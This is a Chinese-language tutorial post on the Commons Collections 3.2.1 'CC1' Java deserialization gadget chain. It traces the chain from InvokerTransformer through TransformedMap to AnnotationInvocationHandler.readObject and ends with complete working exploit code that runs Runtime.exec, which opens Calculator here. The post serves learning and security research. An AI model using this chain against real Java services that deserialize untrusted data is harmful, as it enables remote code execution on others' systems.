Java反序列化之CC链1

环境配置

本机系统:MacM1

jdk安装

直接从官网下载jdk8u65的dmg安装包然后安装jdk

安装依赖包

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

下载源码

为了方便调试,我们需要下载相应.class文件的源码

对于依赖包,直接通过Maven下载源代码

对于jdk的包,可以从https://github.com/openjdk/jdk8u下载相应版本的源码,然后在IDEA的SDK中添加源路径

找链子

入口类

CC链1的入口类在InvokerTransformer.transform

2023-03-07T17:55:50.png

很明显的一个反射执行,我们可以写个demo测试一下

    public static void main(String[] args)throws Exception{
        InvokerTransformer.getInstance("exec", new Class[]{String.class},
                new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
                .transform(Runtime.getRuntime());
    }

? -> transform

接下来我们来找找有没有哪个类的哪个函数调用了transform方法

2023-03-07T17:56:01.png

可以发现在TransformedMapcheckSetValue里面调用了transform

这是一个protect方法,不过其父类的MapEntry.setValue方法可以调用这个方法

MapEntry是什么?

我觉得可以理解为遍历一个Map时的迭代器

于是我们又可以写一个demo

2023-03-07T17:56:10.png

? -> setValue

接下来我们来找找有没有哪个类的哪个函数调用了setValue方法

2023-03-07T17:56:18.png

可以发现在AnnotationInvocationHandler类的readObject方法中就有setValue

但是想直接用这个类做入口类还有几个问题:

  • Runtime类不能反序列化
  • setValue里面的变量不可控2023-03-07T17:56:31.png

解决Runtime类不能反序列化的问题

考虑用InvokerTransformer类来导出一个Runtime类:

2023-03-07T17:56:45.png

注意这里的transform方法实际上构成了一条链

考虑使用ChainedTransformer类简化一下

2023-03-07T17:56:55.png

于是就解决了Runtime类不能反序列化的问题

解决setValue里面的变量不可控的问题

首先要绕过一开始的一个if

2023-03-07T17:57:04.png

就要求我们一开始实例化AnnotationInvocationHandler类的时候传入的注解的类要有成员变量

并且我们HashMap中的key值要是那个成员变量名

然后考虑setValue里面的变量不可控的问题

可以利用ConstantTransformer类作为ChainedTransformer类的入口,其transformed方法不论输入什么,输出的都是固定值

Final EXP

public class cc1 {
    public static void main(String[] args)throws Exception{
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod"
                                , new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
                        new InvokerTransformer("invoke"
                                , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                        new InvokerTransformer("exec"
                                , new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
                }
        );
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "ok");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = cls.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object exp = con.newInstance(Target.class, transformedMap);
        serialize(exp);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}